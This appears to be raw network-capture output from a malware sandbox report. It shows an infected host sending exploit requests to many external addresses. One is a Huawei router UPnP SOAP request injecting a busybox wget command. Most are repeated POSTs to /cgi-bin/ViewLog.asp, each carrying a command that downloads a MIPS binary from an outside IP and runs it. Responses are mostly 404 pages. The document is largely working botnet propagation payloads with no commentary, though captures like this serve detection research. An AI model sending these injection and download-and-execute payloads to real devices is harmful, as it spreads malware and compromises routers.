Nov 23, 2023 05:18:22.374205112 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	53500	62.214.154.14	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.613501072 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.810142994 CET	1023	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: de Content-Length: 785 Date: Thu, 23 Nov 2023 04:17:49 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 42 65 73 63 68 72 65 69 62 75 6e 67 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 37 39 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="de"><head><title>HTTP Status 404 nicht gefunden</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 nicht gefunden</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Beschreibung</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.79</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	35058	62.34.72.230	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.753087997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	45592	31.136.41.97	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.757133007 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.934247017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.078222036 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.110229969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	34432	31.136.121.48	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.757558107 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:52.934235096 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.078229904 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.110208035 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	51084	94.121.99.113	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.796931982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	45376	94.100.22.54	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.797926903 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:49.989419937 CET	546	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:17:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/7.4.28 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	42218	31.128.218.163	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.805002928 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.036987066 CET	475	IN	HTTP/1.1 200 OK Content-Security-Policy: default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-ancestors 'self' X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:17:49 GMT Etag: "5fec3572.1676" Content-Type: text/html Content-Length: 1676 Connection: close Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	55122	85.158.59.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.806699038 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	37772	85.99.114.93	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.822422981 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.052875042 CET	375	IN	HTTP/1.0 404 Not Found Date: Thu, 23 Nov 2023 04:17:49 GMT Server: Boa/0.94.13 Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	46636	31.200.30.63	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.862262011 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	54772	94.122.13.39	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:49.978789091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	54602	31.40.150.1	8080

Timestamp	Bytes transferred	Direction	Data
